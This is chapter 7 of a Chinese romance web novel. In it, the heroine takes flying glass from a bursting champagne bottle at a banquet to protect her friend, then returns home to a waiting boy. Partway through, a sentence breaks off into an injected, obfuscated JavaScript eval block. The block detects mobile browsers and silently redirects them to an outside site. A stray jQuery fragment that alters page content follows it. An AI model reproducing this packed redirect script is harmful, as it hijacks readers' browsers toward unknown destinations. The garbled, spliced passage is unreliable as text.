7. 第 7 章

作品:《银杏情书未签收

    丁柠纤长的睫毛急颤两下,胸口那股气不上不下的,她忽然伸手推搡了一下扈灿灿的肩,“你看我干吗!?”


    力气不大,扈灿灿甚至都没动,但她大惊,嘴唇张圆,“看看也不行啊?难道只允许你看我,不允许我看你,世上哪有这种道理。”


    扈灿灿眼尾漾着促狭的笑意。


    她忽然觉得这场面有趣极了,像在看被逆毛抚摸的波斯猫炸开浑身绒毛。


    在扈灿灿看来她完全还是个孩子。


    “我可没这么说!”丁柠恼怒地跺脚。


    这个女人净说些歪理,岔开话题,乱她心神!


    果然,长的好看的女人都会骗人。


    但她家风优良,身边的长辈又都古板严苛,从小没说过几个脏字,只涨红了一张脸,憋出一句:“你真讨厌!”


    我讨厌?我做什么了?怎么又讨厌了?


    扈灿灿脑中冒出一连串话,她又不明白了。但这个情景下说出口未免也像极了男友哄自己无理取闹的女朋友,动了动唇,还是没有吐出。


    “好了。”她忽然直了直身,


    扈灿灿:“老实说吧,我现在和司砚行什么关系也没有,”她的声音却郑重得能穿透宴会厅此起彼伏的喧嚣声,“以后更不会有。”


    看见丁柠明显呆滞的表情,她双手一摊,坦言道:“你不就想听到这个吗,我说的都是实话。”


    丁柠又狐疑地看着她,“你说的是真的。”


    “比金子还真。”扈灿灿尽量摆出一张诚恳的脸。


    她就差竖起手指发誓了。


    “在聊些什么?”那边,司无忧也结束了对话,寻到扈灿灿后穿过人群走了过来。


    她远远看着丁柠觉得眼熟,想起她似乎是那个从小爱追着司砚行屁股后面跑的小姑娘,担忧她堵住灿灿会做些什么。


    司无忧无声打量着她。


    丁柠瞬间绷直脊背


    “无忧姐。”丁柠讷讷地叫了声。


    司无忧一过来,她的气焰顿时消散了,手指绞动裙摆,如同被扒了指甲的猫咪,只剩下乖巧的躯壳了。


    说罢,她又打了个招呼,低下头,提着她那重重的裙摆,溜入人群中了。


    看着她光速远去的背影。


    扈灿灿想:也不知道她是怎么做到的,整个身体没有幅度,迈着小碎步,像是平移的机器人还能跑那么快。


    “她为难你了?”司无忧问。


    扈灿灿摇摇头,如实答:“没有,我倒是觉得她挺有趣的,起码比司砚行让人舒心多了。”


    这下是真震惊到了,司无忧双眉一跳,“怎么上周还和我打听司砚行的消息,现在又不喜欢了。”


    这黑历史有完没完…


    扈灿灿哭丧着脸:“你就当我上周是被鬼上身了吧。”


    司无忧又笑了,她揽着扈灿灿的肩,“所以你是从寺庙里回来,把那只邪鬼赶跑了又幡然醒悟了?那这个寺庙还挺灵验的,等有机会我也去拜拜。”


    扈灿灿看她一脸认真,也不知道是真信假信,就听见司无忧恍然地啧了声,“我就说怎么还有人会看上司砚行,果然是中邪了。”


    “……”


    扈灿灿莫名感觉身上无形被插了一箭,有被攻击到。


    时间在觥筹交错中悄然流逝,宴会厅穹顶的水晶吊灯已调至夜场模式,暖黄光线将宾客们的影子拉得细长。


    侍应生正悄无声息地撤走主餐盘,扈灿灿意识到现在已经进行到宴会尾声。


    但她等来等去也没看到什么意外情况。


    对于司无忧受伤,当年她赶过去时被人群排挤在外,只看见她被担架抬走,还有满地的血。无忧后来醒来,脸上缝了十几针,人也明显阴郁了许多,不再为一些扈灿灿难以理解的细枝末节大笑,她不敢细问。


    她心焦地找到司砚行询问,他诧异了下,反而担忧地扶着扈灿灿的肩膀,说:“我也不知道,但是灿灿,司无忧破相之后性格更加古怪了,你必须离她远点。”


    那时候扈灿灿只有一个想法,如果能让无忧笑出来的话,那让她怎么样扮丑逗乐她都愿意,总好过死气沉沉,还逼着自己硬笑让她放心来的好。


    对于这个不知道什么时候会来临的意外,扈灿灿曾设想过会不会是有歹徒混进了宴会,但门口严密的看守让她排除了这一可能。


    待扈灿灿再抬头,一处传来一阵喧闹声,她看见一众纨绔子弟在宴会厅某个角落里放上烤羊的火盆,玩起篝火大会,明晃晃跳动的火舌旁边,毗邻着好几瓶冒着冷雾的香槟酒。


    扈灿灿双眉不自觉地收紧。


    ……这也太危险了。


    再一转头,发现司无忧正站在不远处。


    扈灿灿瞳孔骤缩。


    一瞬间心脏像是被一只大手攥紧,旋即血液回流,砰砰砰鼓噪起来,像是要跳出胸膛。


    她来不及细想,拔腿就跑。


    边跑边拉开手包,背后响起低低的叫骂声,一路上被她撞到的人谴责地怒视她。


    火炉旁,一众人行酒令玩得正起劲,无人在意火焰舔上临近的冰冻瓶身。


    酒瓶深处传来细若游丝的撕裂声。


    扈灿灿盯着那道在瓶腹蜿蜒的裂纹,整个人呈一个大字型,朝着谈笑风生的司无忧扑过去。


    司无忧心念一动,无知无觉地回头,被摊开的英语课本糊了一脸,脚跟一绊,身体失去重心往后仰。


    “咔嚓。”


    第一块碎片飞溅时带着燃烧的葡萄香,大小不一的玻璃碎片像是燃烧的烟火一般四溅开来。


    场上瞬间混乱起来。


    “咚。”


    扈灿灿紧闭双眼,听见了玻璃碎片砸中英语课本的声响。


    某片棱形玻璃擦过她的耳尖,带起的气流割断了一缕头发,随即手指,后背几处先后传来痛感。


    司无忧“扑咚”一屁股坐在地上,扈灿灿摔在她腰间,细细闷哼一声。


    司无忧下意识扶了一把,让扈灿灿卸了力没摔疼,她一把拉开挡在眼前的课本,懵了一秒,低头看见看见鲜血淋漓的后背,惊呼,“灿灿!”


    “你……”司无忧指尖悬在她后背上方颤抖,鲜血正从嵌着玻璃碎片的伤口渗出,在高定礼裙上绽开红色的花。


    声后又传过来几声尖叫,紧接着侍应生们匆忙的脚步声,似乎是有人被碎片扎到了屁股。


    “我没事。”扈灿灿四肢并用爬了起来。她看上去异常平静,反而咧着嘴笑着。


    司无忧脑子宕机了一秒。


    扈灿灿笑着递上了自己的手包,“嘻嘻,正好能用上。”


    “……嘻嘻你个头。”


    这种情况一点也不好笑了。


    司无忧眼眶一热。


    低声暗骂一声,手比脑子更快,还未明白具体状况,就已经劈手接过了包,一个个摊开里面的医疗工具。


    她小心翼翼地用镊子将扈灿灿后背与手指几处夹出碎片,连呼吸都放轻了。


    扈灿灿乖顺地垂着头,全程没喊疼,任由司无忧操作。


    破口处细深,看上去流了不少血,好在伤口不大,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15144868|164669||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    又工具齐全容易处理。


    从围观人的议论声中,司无忧才搞清楚事情原委。


    她脑袋一热,最先感受到气恼,扈灿灿竟然就这样不管不顾扑上来,万一真出了什么事呢?然后才是庆幸,毕竟她也看到了那本书上扎着最大的一块碎片,如果那块玻璃真扎到脸上……


    ——她不敢想!


    在司无忧清理完准备包扎时,那边听说了宴会混乱的司砚行急匆匆拨开人群,看见地上苍白无力的扈灿灿,他瞬间觉得膝盖发软。


    他素来梳得齐整的额发垂落几缕,呼吸间带着急促的喘息,当目光触及地上蜷缩的身影时,整个人如同被冻住般僵在原地。


    司砚行踉跄着单膝跪倒。


    猩红的血迹在月白礼裙上绽开狰狞的曼陀罗,扈灿灿侧脸贴着司无忧的膝盖,睫毛在苍白的脸上投下细长的影。


    伤口被包扎处理了,但礼裙后背蔓延的血液却向看客们昭示发生了什么。


    周围的人瞬间静默,旋即窃窃私语。


    “扈灿灿……”他呼吸很重,声音有些颤抖。


    司砚行抬起手,发白的指尖犹豫地悬在半空,却不知落点在哪,紧张地看着她的伤处,“疼吗……”


    废话。


    扈灿灿无声翻了个白眼,不想和他说话,闭眼装晕。


    在装晕前精准地朝司无忧方向翻了个白眼。


    “灿灿…!”他又叫了声。


    司无忧打开司砚行摇扈灿灿肩膀的手,闭了闭眼。几番忍耐才没在这么多宾客前让他闭嘴。


    裙子脏了,现在的模样着实太过狼狈,回家前,扈灿灿又去更衣间换了套常服。


    更衣间里,扈灿灿扯下染血的绸缎,当棉质T恤罩住腰身时,她久久看着镜中面色惨白的少女,忽的松了口气。


    “真是太好了。”她自言自语似的。


    太好了,司无忧没事。


    太好了,受伤的是她。


    太好了,伤口不深。


    太好了,司无忧能继续臭美。


    总之真的…太好了。


    扈灿灿满足地浅笑着。


    镜子中那个因为狰狞面目被人惧怕忌惮,愈来愈被阴霾笼罩的司总监,逐渐被一张更年轻鲜艳没有经历波折的面孔替代。


    ——那是十七岁桀骜不驯的司无忧。


    静默的空地上冷空气袭来,扈灿灿深吸一口气,觉得这里比不久前五光十色的宴会厅更让她舒服,连空气都格外香甜。


    从宴会厅出来后,扈灿灿谢绝了司无忧送她的要求。


    “我真没事。”她说,又哒哒哒转了个圈,“你看吧,活蹦乱跳的。”


    只是套着宽大棉质T恤的她在月光下更显纤弱。


    但司无忧最后还是拗不过她,只叮嘱到家后一定要给她发消息。


    出租车尾灯融入城市夜晚的霓虹,扈灿灿倚在后车靠背上,让自己的大脑放空。


    夜晚的居民楼下几乎看不到任何人迹,疲惫不堪的学生和家长们都早早入睡了。但在这样安静的没有一丝声音的晚上,总有人睡不着。


    不被路灯照到的角落里。


    学区居民楼前的树正在夜风里沙沙作响。余斐然蜷坐在楼下台阶上,身上的白T被路灯镀上毛茸茸的金边。


    当鞋底轻叩地面的声响传来,少年梦醒般缓缓抬头,下颚还沾着袖口压出的红印,潮湿的眼睛却亮得像浸在泉水里的黑曜石。


    扈灿灿停在他身前两步。


    两人相视而笑。


    “你回来了。”他说。